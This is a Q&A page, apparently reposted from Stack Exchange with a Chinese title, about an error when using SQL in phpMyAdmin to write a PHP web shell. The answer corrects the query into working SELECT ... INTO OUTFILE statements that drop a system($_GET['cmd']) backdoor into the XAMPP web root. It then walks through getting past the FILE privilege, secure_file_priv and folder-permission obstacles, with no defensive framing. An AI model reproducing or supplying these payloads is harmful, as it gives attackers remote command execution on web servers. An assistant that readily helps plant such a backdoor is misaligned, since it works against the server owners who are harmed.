在phpMyAdmin中执行SQL写入WebShell时出现错误求助

Let's break down the issues with your SQL statement and fix them step by step:

1. Syntax Issues in Your Original Query #

Your original query has two key syntax problems that are likely causing the error:

• Quote inconsistency: You used double quotes (") to wrap the PHP payload, but inside that payload you have single quotes (') for $_GET['cmd']. While some SQL modes might tolerate this, it’s inconsistent and can confuse MySQL’s parser. MySQL standard uses single quotes for string literals, so we’ll align that.
• Unescaped Windows path: Backslashes (\) in your Windows path (C:\xampp\htdocs\backdoor.php) are treated as escape characters in SQL. This means MySQL will interpret \x as an escape sequence instead of part of the path.

2. Corrected SQL Query #

Replace your query with one of these properly formatted versions:

Option 1: Escaped backslashes for Windows path #

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\xampp\\htdocs\\backdoor.php';

Option 2: Forward slashes (MySQL accepts these on Windows too) #

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/backdoor.php';

3. Additional Checks If Errors Persist #

If you still run into issues after fixing the syntax, verify these common blockers:

• FILE Privilege: Ensure the MySQL user you’re using has the FILE privilege. Run this query to check:

  SHOW GRANTS FOR CURRENT_USER;
  

• secure_file_priv Restriction: MySQL’s secure_file_priv variable might limit where files can be written. Check its value with:

  SHOW VARIABLES LIKE 'secure_file_priv';
  

  If it’s set to a specific directory, you’ll need to save your backdoor there instead of htdocs.
• Directory Permissions: Confirm the C:\xampp\htdocs folder has write permissions for the user running the MySQL service.

内容的提问来源于stack exchange，提问作者Bartosz Cieszewski